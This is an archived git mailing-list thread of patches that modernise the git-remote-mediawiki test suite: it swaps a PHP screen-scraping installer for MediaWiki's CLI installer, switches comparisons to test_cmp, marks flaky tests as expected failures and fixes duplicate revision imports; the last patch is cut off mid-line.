{"thread":{"id":"54243","subject":"[PATCH 13/15] remote-mediawiki tests: use CLI installer","startedAt":"2020-09-16T11:44:45Z","lastAt":"2020-10-03T17:22:21Z","messageCount":54,"participants":["Ævar Arnfjörð Bjarmason","Jeff King","Johannes Schindelin","Đoàn Trần Công Danh","Junio C Hamano","Eric Sunshine"],"isPatch":true,"patchVersion":1,"patchTotal":15},"messages":[{"id":"405613","messageId":"20200916102918.29805-14-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 13/15] remote-mediawiki tests: use CLI installer","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:16Z","receivedAt":"2020-09-16T11:44:45Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Replace the use of screen-scraping in the test environment\ninstallation with simply invoking MediaWiki's command-line\ninstaller.\n\nThe old code being deleted here relied on our own hardcoded POST\nparameter names & the precise layout of MediaWiki's GUI installer at a\ngiven version. Somewhere between [1] and now this inevitably broke.\n\nAs far as I can tell there was never a reason for this screen-scraping\nhack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI\ninstaller was introduced in 1.17.0. Perhaps the authors weren't aware\nof it, or this code was written for an older version.\n\nThis allows us to simply delete our own template version of\nLocalSettings.php, it'll instead be provided by the CLI installer.\n\nWhile we're at it let's fix a few things, these changes weren't\npractical to split up (I'd need to fix code I was about to mostly\ndelete)\n\n * Use MediaWiki's own defaults where possible, e.g. before we'd name\n the database \"wikidb.sqlite\", now we'll simply use whatever name\n MediaWiki prefers (currently my_wiki.sqlite) by only supplying the\n directory name the SQLite file will be dropped into, not the full\n path.\n\n * Put all of our database & download assets into a new \"mediawiki/\"\n folder. This makes it easier to reason about as the current &\n template \"backup\" database the tests keep swapping around live\n next to each other.\n\n This'll also prevent future potential breakage as there isn't a\n single SQLite database. MediaWiki also creates a job queue\n database and a couple of cache databases. In practice it seems we\n got away with not resetting these when we reset the main database,\n but it's the sort of thing that could break in the future (reset,\n main store doesn't have the article, but the cache does).\n\n * The \"delete\" function now only deletes the MediaWiki installation\n & database, not the downloaded .tar.gz file. This makes us\n friendlier to a developer on a slow connection.\n\n1. 5ef6ad1785 (\"git-remote-mediawiki: scripts to install, delete and\n clear a MediaWiki\", 2012-07-06)\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/.gitignore | 2 +-\n contrib/mw-to-git/t/install-wiki/.gitignore | 1 -\n .../t/install-wiki/LocalSettings.php | 129 ----------------\n .../mw-to-git/t/install-wiki/db_install.php | 120 ---------------\n contrib/mw-to-git/t/test-gitmw-lib.sh | 142 +++++++++---------\n contrib/mw-to-git/t/test.config | 18 +--\n 6 files changed, 78 insertions(+), 334 deletions(-)\n delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore\n delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php\n delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php\n\ndiff --git a/contrib/mw-to-git/t/.gitignore b/contrib/mw-to-git/t/.gitignore\nindex a7a40b4964..2b8dc30c6d 100644\n--- a/contrib/mw-to-git/t/.gitignore\n+++ b/contrib/mw-to-git/t/.gitignore\n@@ -1,4 +1,4 @@\n WEB/\n-wiki/\n+mediawiki/\n trash directory.t*/\n test-results/\ndiff --git a/contrib/mw-to-git/t/install-wiki/.gitignore b/contrib/mw-to-git/t/install-wiki/.gitignore\ndeleted file mode 100644\nindex b5a2a4408c..0000000000\n--- a/contrib/mw-to-git/t/install-wiki/.gitignore\n+++ /dev/null\n@@ -1 +0,0 @@\n-wikidb.sqlite\ndiff --git a/contrib/mw-to-git/t/install-wiki/LocalSettings.php b/contrib/mw-to-git/t/install-wiki/LocalSettings.php\ndeleted file mode 100644\nindex 745e47e881..0000000000\n--- a/contrib/mw-to-git/t/install-wiki/LocalSettings.php\n+++ /dev/null\n@@ -1,129 +0,0 @@\n- and \n- *\n- */\n-$argc = $_SERVER['argc'];\n-$argv = $_SERVER['argv'];\n-\n-$login = $argv[2];\n-$pass = $argv[3];\n-$tmp = $argv[4];\n-$port = $argv[5];\n-\n-$url = 'http://localhost:'.$port.'/wiki/mw-config/index.php';\n-$db_dir = urlencode($tmp);\n-$tmp_cookie = tempnam($tmp, \"COOKIE_\");\n-/*\n- * Fetches a page with cURL.\n- */\n-function get($page_name = \"\") {\n-\t$curl = curl_init();\n-\t$page_name_add = \"\";\n-\tif ($page_name != \"\") {\n-\t\t$page_name_add = '?page='.$page_name;\n-\t}\n-\t$url = $GLOBALS['url'].$page_name_add;\n-\t$tmp_cookie = $GLOBALS['tmp_cookie'];\n-\tcurl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_cookie);\n-\tcurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n-\tcurl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);\n-\tcurl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_cookie);\n-\tcurl_setopt($curl, CURLOPT_HEADER, true);\n-\tcurl_setopt($curl, CURLOPT_URL, $url);\n-\n-\t$page = curl_exec($curl);\n-\tif (!$page) {\n-\t\tdie(\"Could not get page: $url\\n\");\n-\t}\n-\tcurl_close($curl);\n-\treturn $page;\n-}\n-\n-/*\n- * Submits a form with cURL.\n- */\n-function submit($page_name, $option = \"\") {\n-\t$curl = curl_init();\n-\t$datapost = 'submit-continue=Continue+%E2%86%92';\n-\tif ($option != \"\") {\n-\t\t$datapost = $option.'&'.$datapost;\n-\t}\n-\t$url = $GLOBALS['url'].'?page='.$page_name;\n-\t$tmp_cookie = $GLOBALS['tmp_cookie'];\n-\tcurl_setopt($curl, CURLOPT_URL, $url);\n-\tcurl_setopt($curl, CURLOPT_POST, true);\n-\tcurl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);\n-\tcurl_setopt($curl, CURLOPT_POSTFIELDS, $datapost);\n-\tcurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n-\tcurl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_cookie);\n-\tcurl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_cookie);\n-\n-\t$page = curl_exec($curl);\n-\tif (!$page) {\n-\t\tdie(\"Could not get page: $url\\n\");\n-\t}\n-\tcurl_close($curl);\n-\treturn \"$page\";\n-}\n-\n-/*\n- * Here starts this script: simulates the behavior of the user\n- * submitting forms to generates the database file.\n- * Note this simulation was made for the MediaWiki version 1.19.0,\n- * we can't assume it works with other versions.\n- *\n- */\n-\n-$page = get();\n-if (!preg_match('/input type=\"hidden\" value=\"([0-9]+)\" name=\"LanguageRequestTime\"/',\n-\t\t$page, $matches)) {\n-\techo \"Unexpected content for page downloaded:\\n\";\n-\techo \"$page\";\n-\tdie;\n-};\n-$timestamp = $matches[1];\n-$language = \"LanguageRequestTime=$timestamp&uselang=en&ContLang=en\";\n-$page = submit('Language', $language);\n-\n-submit('Welcome');\n-\n-$db_config = 'DBType=sqlite';\n-$db_config = $db_config.'&sqlite_wgSQLiteDataDir='.$db_dir;\n-$db_config = $db_config.'&sqlite_wgDBname='.$argv[1];\n-submit('DBConnect', $db_config);\n-\n-$wiki_config = 'config_wgSitename=TEST';\n-$wiki_config = $wiki_config.'&config__NamespaceType=site-name';\n-$wiki_config = $wiki_config.'&config_wgMetaNamespace=MyWiki';\n-$wiki_config = $wiki_config.'&config__AdminName='.$login;\n-\n-$wiki_config = $wiki_config.'&config__AdminPassword='.$pass;\n-$wiki_config = $wiki_config.'&config__AdminPassword2='.$pass;\n-\n-$wiki_config = $wiki_config.'&wiki__configEmail=email%40email.org';\n-$wiki_config = $wiki_config.'&config__SkipOptional=skip';\n-submit('Name', $wiki_config);\n-submit('Install');\n-submit('Install');\n-\n-unlink($tmp_cookie);\n-?>\ndiff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh\nindex aa04ebfd0f..787a8a3ec0 100755\n--- a/contrib/mw-to-git/t/test-gitmw-lib.sh\n+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh\n@@ -13,7 +13,8 @@\n \n . ./test.config\n \n-WIKI_URL=http://\"$SERVER_ADDR:$PORT/$WIKI_DIR_NAME\"\n+WIKI_BASE_URL=http://$SERVER_ADDR:$PORT\n+WIKI_URL=$WIKI_BASE_URL/$WIKI_DIR_NAME\n CURR_DIR=$(pwd)\n TEST_OUTPUT_DIRECTORY=$(pwd)\n TEST_DIRECTORY=\"$CURR_DIR\"/../../../t\n@@ -291,28 +292,59 @@ stop_lighttpd () {\n \ttest -f \"$WEB_TMP/pid\" && kill $(cat \"$WEB_TMP/pid\")\n }\n \n-# Create the SQLite database of the MediaWiki. If the database file already\n-# exists, it will be deleted.\n-# This script should be runned from the directory where $FILES_FOLDER is\n-# located.\n-create_db () {\n-\trm -f \"$TMP/$DB_FILE\"\n+wiki_delete_db () {\n+\trm -rf \\\n+\t \"$FILES_FOLDER_DB\"/* || error \"Couldn't delete $FILES_FOLDER_DB/\"\n+}\n+\n+wiki_delete_db_backup () {\n+\trm -rf \\\n+\t \"$FILES_FOLDER_POST_INSTALL_DB\"/* || error \"Couldn't delete $FILES_FOLDER_POST_INSTALL_DB/\"\n+}\n \n-\techo \"Generating the SQLite database file. It can take some time ...\"\n-\t# Run the php script to generate the SQLite database file\n-\t# with cURL calls.\n-\tphp \"$FILES_FOLDER/$DB_INSTALL_SCRIPT\" $(basename \"$DB_FILE\" .sqlite) \\\n-\t\t\"$WIKI_ADMIN\" \"$WIKI_PASSW\" \"$TMP\" \"$PORT\"\n+# Install MediaWiki using its install.php script. If the database file\n+# already exists, it will be deleted.\n+install_mediawiki () {\n \n-\tif ! test -f \"$TMP/$DB_FILE\"\n+\tlocalsettings=\"$WIKI_DIR_INST/$WIKI_DIR_NAME/LocalSettings.php\"\n+\tif test -f \"$localsettings\"\n \tthen\n-\t\terror \"Can't create database file $TMP/$DB_FILE. Try to run ./install-wiki.sh delete first.\"\n+\t\terror \"We already installed the wiki, since $localsettings exists\" \\\n+\t\t \"perhaps you wanted to run 'delete' first?\"\n \tfi\n \n-\t# Copy the generated database file into the directory the\n-\t# user indicated.\n-\tcp \"$TMP/$DB_FILE\" \"$FILES_FOLDER\" ||\n-\t\terror \"Unable to copy $TMP/$DB_FILE to $FILES_FOLDER\"\n+\twiki_delete_db\n+\twiki_delete_db_backup\n+\tmkdir \\\n+\t\t\"$FILES_FOLDER_DB/\" \\\n+\t\t\"$FILES_FOLDER_POST_INSTALL_DB/\"\n+\n+\tinstall_script=\"$WIKI_DIR_INST/$WIKI_DIR_NAME/maintenance/install.php\"\n+\techo \"Installing MediaWiki using $install_script. This may take some time ...\"\n+\n+\tphp \"$WIKI_DIR_INST/$WIKI_DIR_NAME/maintenance/install.php\" \\\n+\t --server $WIKI_BASE_URL \\\n+\t --scriptpath /wiki \\\n+\t --lang en \\\n+\t --dbtype sqlite \\\n+\t --dbpath $PWD/$FILES_FOLDER_DB/ \\\n+\t --pass \"$WIKI_PASSW\" \\\n+\t Git-MediaWiki-Test \\\n+\t \"$WIKI_ADMIN\" ||\n+\t\terror \"Couldn't run $install_script, see errors above. Try to run ./install-wiki.sh delete first.\"\n+\tcat <<-'EOF' >>$localsettings\n+# Custom settings added by test-gitmw-lib.sh\n+#\n+# Uploading text files is needed for\n+# t9363-mw-to-git-export-import.sh\n+$wgEnableUploads = true;\n+$wgFileExtensions[] = 'txt';\n+EOF\n+\n+\t# Copy the initially generated database file into our backup\n+\t# folder\n+\tcp -R \"$FILES_FOLDER_DB/\"* \"$FILES_FOLDER_POST_INSTALL_DB/\" ||\n+\t\terror \"Unable to copy $FILES_FOLDER_DB/* to $FILES_FOLDER_POST_INSTALL_DB/*\"\n }\n \n # Install a wiki in your web server directory.\n@@ -321,7 +353,6 @@ wiki_install () {\n \t\tstart_lighttpd\n \tfi\n \n-\tSERVER_ADDR=$SERVER_ADDR:$PORT\n \t# In this part, we change directory to $TMP in order to download,\n \t# unpack and copy the files of MediaWiki\n \t(\n@@ -332,9 +363,10 @@ wiki_install () {\n \t\tPlease create it and launch the script again.\"\n \tfi\n \n-\t# Fetch MediaWiki's archive if not already present in the TMP directory\n+\t# Fetch MediaWiki's archive if not already present in download directory\n+\tmkdir -p \"$FILES_FOLDER_DOWNLOAD\"\n \tMW_FILENAME=\"mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz\"\n-\tcd \"$TMP\"\n+\tcd \"$FILES_FOLDER_DOWNLOAD\"\n \tif ! test -f $MW_FILENAME\n \tthen\n \t\techo \"Downloading $MW_VERSION_MAJOR.$MW_VERSION_MINOR sources ...\"\n@@ -355,49 +387,12 @@ wiki_install () {\n \t\terror \"Unable to extract WikiMedia's files from $archive_abs_path to \"\\\n \t\t\t\"$WIKI_DIR_INST/$WIKI_DIR_NAME\"\n \t) || exit 1\n+\techo Extracted in \"$WIKI_DIR_INST/$WIKI_DIR_NAME\"\n \n-\tcreate_db\n-\n-\t# Copy the generic LocalSettings.php in the web server's directory\n-\t# And modify parameters according to the ones set at the top\n-\t# of this script.\n-\t# Note that LocalSettings.php is never modified.\n-\tif ! test -f \"$FILES_FOLDER/LocalSettings.php\"\n-\tthen\n-\t\terror \"Can't find $FILES_FOLDER/LocalSettings.php \" \\\n-\t\t\t\"in the current folder. \"\\\n-\t\t\"Please run the script inside its folder.\"\n-\tfi\n-\tcp \"$FILES_FOLDER/LocalSettings.php\" \\\n-\t\t\"$FILES_FOLDER/LocalSettings-tmp.php\" ||\n-\t\terror \"Unable to copy $FILES_FOLDER/LocalSettings.php \" \\\n-\t\t\"to $FILES_FOLDER/LocalSettings-tmp.php\"\n-\n-\t# Parse and set the LocalSettings file of the user according to the\n-\t# CONFIGURATION VARIABLES section at the beginning of this script\n-\tfile_swap=\"$FILES_FOLDER/LocalSettings-swap.php\"\n-\tsed \"s,@WG_SCRIPT_PATH@,/$WIKI_DIR_NAME,\" \\\n-\t\t\"$FILES_FOLDER/LocalSettings-tmp.php\" > \"$file_swap\"\n-\tmv \"$file_swap\" \"$FILES_FOLDER/LocalSettings-tmp.php\"\n-\tsed \"s,@WG_SERVER@,http://$SERVER_ADDR,\" \\\n-\t\t\"$FILES_FOLDER/LocalSettings-tmp.php\" > \"$file_swap\"\n-\tmv \"$file_swap\" \"$FILES_FOLDER/LocalSettings-tmp.php\"\n-\tsed \"s,@WG_SQLITE_DATADIR@,$TMP,\" \\\n-\t\t\"$FILES_FOLDER/LocalSettings-tmp.php\" > \"$file_swap\"\n-\tmv \"$file_swap\" \"$FILES_FOLDER/LocalSettings-tmp.php\"\n-\tsed \"s,@WG_SQLITE_DATAFILE@,$( basename $DB_FILE .sqlite),\" \\\n-\t\t\"$FILES_FOLDER/LocalSettings-tmp.php\" > \"$file_swap\"\n-\tmv \"$file_swap\" \"$FILES_FOLDER/LocalSettings-tmp.php\"\n-\n-\tmv \"$FILES_FOLDER/LocalSettings-tmp.php\" \\\n-\t\t\"$WIKI_DIR_INST/$WIKI_DIR_NAME/LocalSettings.php\" ||\n-\t\terror \"Unable to move $FILES_FOLDER/LocalSettings-tmp.php\" \\\n-\t\t\"in $WIKI_DIR_INST/$WIKI_DIR_NAME\"\n-\techo \"File $FILES_FOLDER/LocalSettings.php is set in\" \\\n-\t\t\" $WIKI_DIR_INST/$WIKI_DIR_NAME\"\n+\tinstall_mediawiki\n \n \techo \"Your wiki has been installed. You can check it at\n-\t\thttp://$SERVER_ADDR/$WIKI_DIR_NAME\"\n+\t\t$WIKI_URL\"\n }\n \n # Reset the database of the wiki and the password of the admin\n@@ -405,13 +400,18 @@ wiki_install () {\n # Warning: This function must be called only in a subdirectory of t/ directory\n wiki_reset () {\n \t# Copy initial database of the wiki\n-\tif ! test -f \"../$FILES_FOLDER/$DB_FILE\"\n+\tif ! test -d \"../$FILES_FOLDER_DB\"\n \tthen\n-\t\terror \"Can't find ../$FILES_FOLDER/$DB_FILE in the current folder.\"\n+\t\terror \"No wiki database at ../$FILES_FOLDER_DB, not installed yet?\"\n \tfi\n-\tcp \"../$FILES_FOLDER/$DB_FILE\" \"$TMP\" ||\n-\t\terror \"Can't copy ../$FILES_FOLDER/$DB_FILE in $TMP\"\n-\techo \"File $FILES_FOLDER/$DB_FILE is set in $TMP\"\n+\tif ! test -d \"../$FILES_FOLDER_POST_INSTALL_DB\"\n+\tthen\n+\t\terror \"No wiki backup database at ../$FILES_FOLDER_POST_INSTALL_DB, failed installation?\"\n+\tfi\n+\twiki_delete_db\n+\tcp -R \"../$FILES_FOLDER_POST_INSTALL_DB/\"* \"../$FILES_FOLDER_DB/\" ||\n+\t\terror \"Can't copy ../$FILES_FOLDER_POST_INSTALL_DB/* to ../$FILES_FOLDER_DB/*\"\n+\techo \"File $FILES_FOLDER_DB/* has been reset\"\n }\n \n # Delete the wiki created in the web server's directory and all its content\n@@ -425,13 +425,7 @@ wiki_delete () {\n \t\trm -rf \"$WIKI_DIR_INST/$WIKI_DIR_NAME\" ||\n \t\t\terror \"Wiki's directory $WIKI_DIR_INST/\" \\\n \t\t\t\"$WIKI_DIR_NAME could not be deleted\"\n-\t\t# Delete the wiki's SQLite database.\n-\t\trm -f \"$TMP/$DB_FILE\" ||\n-\t\t\terror \"Database $TMP/$DB_FILE could not be deleted.\"\n \tfi\n-\n-\t# Delete the wiki's SQLite database\n-\trm -f \"$TMP/$DB_FILE\" || error \"Database $TMP/$DB_FILE could not be deleted.\"\n-\trm -f \"$FILES_FOLDER/$DB_FILE\"\n-\trm -rf \"$TMP/mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz\"\n+\twiki_delete_db\n+\twiki_delete_db_backup\n }\ndiff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config\nindex 3ab56c7165..ed10b3e4a4 100644\n--- a/contrib/mw-to-git/t/test.config\n+++ b/contrib/mw-to-git/t/test.config\n@@ -8,10 +8,6 @@ WIKI_PASSW=AdminPass1\n # Address of the web server\n SERVER_ADDR=localhost\n \n-# SQLite database of the wiki, named DB_FILE, is located in TMP\n-TMP=/tmp\n-DB_FILE=wikidb.sqlite\n-\n # If LIGHTTPD is not set to true, the script will use the default\n # web server running in WIKI_DIR_INST.\n WIKI_DIR_INST=/var/www\n@@ -28,13 +24,17 @@ WEB=WEB\n WEB_TMP=$WEB/tmp\n WEB_WWW=$WEB/www\n \n+# Where our configuration for the wiki is located\n+FILES_FOLDER=mediawiki\n+FILES_FOLDER_DOWNLOAD=$FILES_FOLDER/download\n+FILES_FOLDER_DB=$FILES_FOLDER/db\n+FILES_FOLDER_POST_INSTALL_DB=$FILES_FOLDER/post-install-db\n+\n # The variables below are used by the script to install a wiki.\n # You should not modify these unless you are modifying the script itself.\n-# tested versions: 1.19.X -> 1.21.1\n+# tested versions: 1.19.X -> 1.21.1 -> 1.34.2\n #\n # See https://www.mediawiki.org/wiki/Download for what the latest\n # version is.\n-MW_VERSION_MAJOR=1.21\n-MW_VERSION_MINOR=1\n-FILES_FOLDER=install-wiki\n-DB_INSTALL_SCRIPT=db_install.php\n+MW_VERSION_MAJOR=1.34\n+MW_VERSION_MINOR=2\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405614","messageId":"20200916102918.29805-16-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 15/15] remote-mediawiki tests: annotate failing tests","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:18Z","receivedAt":"2020-09-16T11:45:34Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"These tests consistently fail for me, and were failing before any of\nthe changes in this series. As noted in [1] there are some known\nintermittent test failures. Let's mark these as failing so we can have\nan otherwise passing test suite.\n\n1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 4 ++--\n 1 file changed, 2 insertions(+), 2 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\nindex d3de6c204a..2b5b3b6896 100755\n--- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n+++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n@@ -32,7 +32,7 @@ test_expect_success 'setup config' '\n \ttest_might_fail git config --global --unset remote.origin.mediaImport\n '\n \n-test_expect_success 'git push can upload media (File:) files' '\n+test_expect_failure 'git push can upload media (File:) files' '\n \twiki_reset &&\n \tgit clone mediawiki::'\"$WIKI_URL\"' mw_dir &&\n \t(\n@@ -48,7 +48,7 @@ test_expect_success 'git push can upload media (File:) files' '\n \t)\n '\n \n-test_expect_success 'git clone works on previously created wiki with media files' '\n+test_expect_failure 'git clone works on previously created wiki with media files' '\n \ttest_when_finished \"rm -rf mw_dir mw_dir_clone\" &&\n \tgit clone -c remote.origin.mediaimport=true \\\n \t\tmediawiki::'\"$WIKI_URL\"' mw_dir_clone &&\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405615","messageId":"20200916102918.29805-15-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 14/15] remote-mediawiki: fix duplicate revisions being imported","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:17Z","receivedAt":"2020-09-16T11:46:20Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"From: Simon Legner \n\nFix a bug with revisions being imported twice. This commit is being\nbackported from Git-Mediawiki.git's e41ee9b (\"All revisions imported\ntwice\", 2018-02-02) to git.git. See [1] for the original commit and\n[2] and [3] for the upstream PR and issue.\n\n1. https://github.com/Git-Mediawiki/Git-Mediawiki/commit/e41ee9b3a32416df381cdc79f63350665c84151e\n2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61\n3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/git-remote-mediawiki.perl | 3 +++\n 1 file changed, 3 insertions(+)\n\ndiff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl\nindex 08190e23e1..26d5e1a174 100755\n--- a/contrib/mw-to-git/git-remote-mediawiki.perl\n+++ b/contrib/mw-to-git/git-remote-mediawiki.perl\n@@ -807,7 +807,10 @@ sub get_more_refs {\n sub mw_import {\n \t# multiple import commands can follow each other.\n \tmy @refs = (shift, get_more_refs('import'));\n+\tmy $processedRefs;\n \tforeach my $ref (@refs) {\n+\t\tnext if $processedRefs->{$ref}; # skip duplicates: \"import refs/heads/master\" being issued twice; TODO: why?\n+\t\t$processedRefs->{$ref} = 1;\n \t\tmw_import_ref($ref);\n \t}\n \tprint {*STDOUT} \"done\\n\";\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405616","messageId":"20200916102918.29805-7-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 06/15] remote-mediawiki tests: use test_cmp in tests","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:09Z","receivedAt":"2020-09-16T12:11:26Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change code that used an ad-hoc diff invocation to use our test_cmp\nhelper instead. I'm also changing the order of arguments to be the\nstandard \"test_cmp \".\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/t9360-mw-to-git-clone.sh | 8 ++++----\n 1 file changed, 4 insertions(+), 4 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh\nindex 9106833578..4c39bda7bf 100755\n--- a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh\n+++ b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh\n@@ -28,7 +28,7 @@ test_expect_success 'Git clone creates the expected git log with one file' '\n \t\tgit log --format=%s HEAD^..HEAD >log.tmp\n \t) &&\n \techo \"this must be the same\" >msg.tmp &&\n-\tdiff -b mw_dir_1/log.tmp msg.tmp\n+\ttest_cmp msg.tmp mw_dir_1/log.tmp\n '\n \n \n@@ -50,8 +50,8 @@ test_expect_success 'Git clone creates the expected git log with multiple files'\n \techo \"this must be the same\" >>msgDaddy.tmp &&\n \techo \"identical too\" >msgDj.tmp &&\n \techo \"identical\" >>msgDj.tmp &&\n-\tdiff -b mw_dir_2/logDaddy.tmp msgDaddy.tmp &&\n-\tdiff -b mw_dir_2/logDj.tmp msgDj.tmp\n+\ttest_cmp msgDaddy.tmp mw_dir_2/logDaddy.tmp &&\n+\ttest_cmp msgDj.tmp mw_dir_2/logDj.tmp\n '\n \n \n@@ -135,7 +135,7 @@ test_expect_success 'Git clone works with one specific page cloned ' '\n \t\tcd mw_dir_8 &&\n \t\techo \"this log must stay\" >msg.tmp &&\n \t\tgit log --format=%s >log.tmp &&\n-\t\tdiff -b msg.tmp log.tmp\n+\t\ttest_cmp msg.tmp log.tmp\n \t) &&\n \twiki_check_content mw_dir_8/Namnam.mw Namnam\n '\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405617","messageId":"20200916102918.29805-13-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 12/15] remote-mediawiki tests: use inline PerlIO for readability","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:15Z","receivedAt":"2020-09-16T12:21:47Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Replace the use of the \"open\" pragma with a three-arg open in the\nplaces that actually care about UTF-8, while leaving those that\ndon't (the config parsing).\n\nUnlike the previous \"encoding\" pragma change this isn't needed for\ncompatibility with anything. I just think it's easier to read code\nthat has localized effects than code that changes global settings.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test-gitmw.pl | 7 +++----\n 1 file changed, 3 insertions(+), 4 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl\nindex 71e5b06235..c5d687f078 100755\n--- a/contrib/mw-to-git/t/test-gitmw.pl\n+++ b/contrib/mw-to-git/t/test-gitmw.pl\n@@ -25,7 +25,6 @@\n use MediaWiki::API;\n use Getopt::Long;\n use DateTime::Format::ISO8601;\n-use open ':encoding(utf8)';\n use constant SLASH_REPLACEMENT => \"%2F\";\n \n #Parsing of the config file\n@@ -86,7 +85,7 @@ sub wiki_getpage {\n \t# Replace spaces by underscore in the page name\n \t$pagename =~ s/ /_/g;\n \t$pagename =~ s/\\//%2F/g;\n-\topen(my $file, \">$destdir/$pagename.mw\");\n+\topen(my $file, \">:encoding(UTF-8)\", \"$destdir/$pagename.mw\");\n \tprint $file \"$content\";\n \tclose ($file);\n \n@@ -171,7 +170,7 @@ sub wiki_getallpagename {\n \t\t\t\tcmlimit => 500 },\n \t\t)\n \t\t|| die $mw->{error}->{code}.\": \".$mw->{error}->{details};\n-\t\topen(my $file, \">all.txt\");\n+\t\topen(my $file, \">:encoding(UTF-8)\", \"all.txt\");\n \t\tforeach my $page (@{$mw_pages}) {\n \t\t\tprint $file \"$page->{title}\\n\";\n \t\t}\n@@ -184,7 +183,7 @@ sub wiki_getallpagename {\n \t\t\t\taplimit => 500,\n \t\t\t})\n \t\t|| die $mw->{error}->{code}.\": \".$mw->{error}->{details};\n-\t\topen(my $file, \">all.txt\");\n+\t\topen(my $file, \">:encoding(UTF-8)\", \"all.txt\");\n \t\tforeach my $page (@{$mw_pages}) {\n \t\t\tprint $file \"$page->{title}\\n\";\n \t\t}\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405618","messageId":"20200916102918.29805-10-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 09/15] remote-mediawiki tests: use \"$dir/\" instead of \"$dir.\"","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:12Z","receivedAt":"2020-09-16T12:24:16Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change UI messages to use \"$dir/\" instead of \"$dir.\". I think this is\nless confusing.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test-gitmw-lib.sh | 4 ++--\n 1 file changed, 2 insertions(+), 2 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh\nindex a466be8f3f..aa04ebfd0f 100755\n--- a/contrib/mw-to-git/t/test-gitmw-lib.sh\n+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh\n@@ -343,10 +343,10 @@ wiki_install () {\n \t\t\t\"http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/\"\\\n \t\t\t\"$MW_FILENAME. \"\\\n \t\t\t\"Please fix your connection and launch the script 